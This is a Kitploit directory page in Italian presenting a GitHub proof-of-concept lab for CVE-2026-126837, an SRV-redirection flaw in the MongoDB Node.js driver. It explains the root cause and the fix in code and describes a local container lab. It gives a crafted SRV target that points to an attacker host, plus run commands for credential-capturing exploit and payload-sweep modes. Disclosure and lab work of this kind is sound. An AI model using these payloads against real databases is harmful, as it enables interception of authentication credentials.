Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-126837 — Lab differenziale containerizzato e PoC per CVE-2026-126837, che dimostra la redirezione del target SRV nel driver MongoDB Node.js e la cattura delle credenziali SCRAM sulla versione 7.7.0 rispetto alla 7.8.0. | Kitploit
Strumenti/GitHubGitHub/googlesky/cve-2026-126837
Analisi delle VulnerabilitàExploitSicurezza WebSicurezza di ReteApprendimento e FormazioneAnalisi DNSLab e Pratica
GitHub
googlesky/cve-2026-126837

CVE-2026-126837

Lab differenziale containerizzato e PoC per CVE-2026-126837, che dimostra la redirezione del target SRV nel driver MongoDB Node.js e la cattura delle credenziali SCRAM sulla versione 7.7.0 rispetto alla 7.8.0.

Vedi Repository
6 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    945
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    350
  • 4

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    339
  • 5

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    338
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    292

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-126837 — Il driver Node.js di MongoDB si connette al di fuori del dominio padre SRV quando il target SRV contiene un carattere che termina l'URL

CampoValore
CVECVE-2026-126837
ComponenteDriver Node.js di MongoDB (mongodb, mongodb/node-mongodb-native) — Initial DNS Seedlist Discovery
Affected3.3.3 .. < 7.8.0 (semver)
Corretto in7.8.0 (commit 19e2d3b83, NODE-7830)
CWECWE-180 — Validate Before Canonicalize
CVSS4.0 — 9.1 CRITICAL (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N); 3.1 — 7.4 HIGH
ImpattoReindirizzamento del traffico del database verso un host dell'attaccante: intercettazione delle credenziali (client proof SCRAM decifrabile offline), divulgazione non intenzionale dei dati dell'applicazione, alterazione dei risultati delle query
VettoreRisposta DNS SRV falsificata o influenzata dall'attaccante per una stringa di connessione mongodb+srv://
TriggerNome del target SRV contenente #, ? o / prima del suffisso del dominio padre
CreditoAvviso del fornitore (nessun segnalatore nominato nel record CVE)

Un difetto di validazione nella protezione del dominio padre SRV del driver consente a una parte che può falsificare o modificare la risposta DNS SRV di reindirizzare un client mongodb+srv:// verso qualsiasi host di propria scelta. La protezione confronta il target SRV con il dominio padre tramite un semplice endsWith su una stringa la cui sintassi non è mai stata validata; il driver poi ri-analizza la stessa stringa come URL, dove #, ? e / terminano anticipatamente il nome dell'host. La connessione viene stabilita verso l'host dell'attaccante con TLS attivato contro la vittima: il certificato viene validato rispetto al nome reindirizzato, che l'attaccante possiede legittimamente. Il client invia quindi il proprio scambio di autenticazione SCRAM — incluso un client proof derivato dalla password — all'attaccante. Le applicazioni che utilizzano URI mongodb:// semplici non sono interessate.

1. Causa principale

La protezione vulnerabile, src/utils.ts:1158 nella v7.7.0:

export function checkParentDomainMatch(address: string, srvHost: string): void {
  // Remove trailing dot if exists on either the resolved address or the srv hostname
  const normalizedAddress = address.endsWith('.') ? address.slice(0, address.length - 1) : address;
  const normalizedSrvHost = srvHost.endsWith('.') ? srvHost.slice(0, srvHost.length - 1) : srvHost;

  const allCharacterBeforeFirstDot = /^.*?\./;
  // Remove all characters before first dot
  const addressDomain = `.${normalizedAddress.replace(allCharacterBeforeFirstDot, '')}`;
  ...
  if (!addressDomain.endsWith(srvHostDomain)) {
    throw new MongoAPIError('Server record does not share hostname with parent URI');
  }
}

Il guard rimuove un punto finale, elimina tutto fino al primo . e chiama endsWith. Non esegue alcuna validazione sintattica del target SRV. La stringa validata fluisce poi a HostAddress.fromString() e viene ri-analizzata nel costruttore di HostAddress (src/utils.ts:890):

const urlString = `iLoveJS://${escapedHost}`;
url = new URL(urlString);
...
const hostname = url.hostname;

L'aritmetica che si rompe, per l'host SRV cluster0.lab.mongodb.test (parent .lab.mongodb.test) e il target falsificato evil.attacker.test#.lab.mongodb.test:

guard:     "evil.attacker.test#.lab.mongodb.test"
           remove everything before first dot -> tail ".lab.mongodb.test" retained
           -> endsWith(".lab.mongodb.test") = TRUE   -> guard PASSES
URL parse: iLoveJS://evil.attacker.test#.lab.mongodb.test:27017
           "#" starts the fragment -> hostname = "evil.attacker.test", port falls back to 27017
           -> driver connects to evil.attacker.test

Il # non blocca mai il confronto del suffisso perché la guardia confronta la coda della stringa grezza (il cui # si trova prima del suffisso), mentre il parser URL WHATWG tratta lo stesso # come delimitatore di frammento e tronca il nome host.

La correzione nella 7.8.0, src/utils.ts:1185-1216, esegue la canonicalizzazione prima della validazione:

const FORBIDDEN_DOMAIN_CODE_POINTS = /[\u0000-\u0020\u007F#%/:<>?@[\\\]^|]/;

export function dnsNameToASCII(name: string): string | null {
  if (FORBIDDEN_DOMAIN_CODE_POINTS.test(name)) {
    return null;
  }
  const ascii = /^\p{ASCII}*$/u.test(name) ? name.toLowerCase() : domainToASCII(name);
  return ascii === '' ? null : ascii;
}

export function normalizeDnsName(name: string): string {
  const withoutTrailingDot = name.endsWith('.') ? name.slice(0, -1) : name;
  const normalized = dnsNameToASCII(withoutTrailingDot);
  if (normalized == null) {
    throw new MongoAPIError('Invalid DNS host name');
  }
  return normalized;
}

Applicato nell'unico punto di chiamata SRV, src/connection_string.ts:128-130:

const host = normalizeDnsName(name);
verifySrvHost(host, lookupAddress, options);
return HostAddress.fromString(`${host}:${port ?? 27017}`);

Qualsiasi #, ?, / o altro code point proibito da WHATWG ora genera MongoAPIError: Invalid DNS host name prima della guardia, prima di HostAddress.fromString e prima che venga aperto qualsiasi socket.

2. Ambiente di riproduzione

Una singola immagine container (cve-2026-126837:vuln) contiene l'intero differenziale:

  • server DNS autoritativo (lab/src/dnsd.py) su 127.0.0.1:53 — il file /etc/resolv.conf del container punta ad esso, quindi ogni risoluzione di nome (inclusa la ricerca SRV c-ares di Node) passa attraverso un DNS controllato dall'attaccante. Risponde alla query SRV _mongodb._tcp.cluster0.lab.mongodb.test con il target scelto dall'attaccante e risolve evil.attacker.test in 127.0.0.1;
  • listener dell'attaccante (lab/src/evilserver.py) su 127.0.0.1:27017 — endpoint TLS con un certificato emesso dalla CA del lab (sostituto del certificato pubblicamente attendibile che un attaccante possiede per il proprio dominio), che parla abbastanza del protocollo wire MongoDB (OP_QUERY ismaster, OP_MSG hello/saslStart/saslContinue) da completare l'handshake SDAM e catturare lo scambio SCRAM-SHA-256;
  • servizio vittima (lab/src/service.js) — esegue ogni tentativo di connessione con un processo figlio della build del driver selezionata (così un errore a livello di driver viene osservato anziché mandare giù il servizio) ed espone via HTTP le osservazioni dell'attaccante e del server DNS;
  • build del driver in un'unica immagine, selezionate per richiesta: vuln = [email protected], fixed = [email protected], più v6 = 6.22.0, v5 = 5.9.2, v4 = 4.17.2, v3 = 3.7.4 per la matrice dell'intervallo interessato.

I lati vulnerabile e corretto differiscono solo nella versione del pacchetto driver: stessa immagine base, stesso server DNS, stesso listener dell'attaccante, stesso servizio, stesso tentativo di connessione.

3. Esecuzione dell'ambiente

./run-lab.sh build    # build lab + poc images
./run-lab.sh up       # create network cve126837lab, start lab, wait for health
./run-lab.sh all      # build, up, every PoC mode, capture evidence/, down-state logs

Modalità individuali:

./run-lab.sh poc check --driver vuln     # exit 1 = vulnerable
./run-lab.sh poc check --driver fixed    # exit 0 = safe
./run-lab.sh poc exploit --driver vuln   # full SCRAM credential capture
./run-lab.sh poc probe                   # companion primitives, differential
./run-lab.sh poc mitigation --driver vuln
./run-lab.sh poc sweep                   # 42-payload 0-day sweep on both builds
./run-lab.sh poc versions                # 3.x .. 7.x affected-range matrix
./run-lab.sh state                       # copy DNS/attacker logs into evidence/
Scarica lo strumento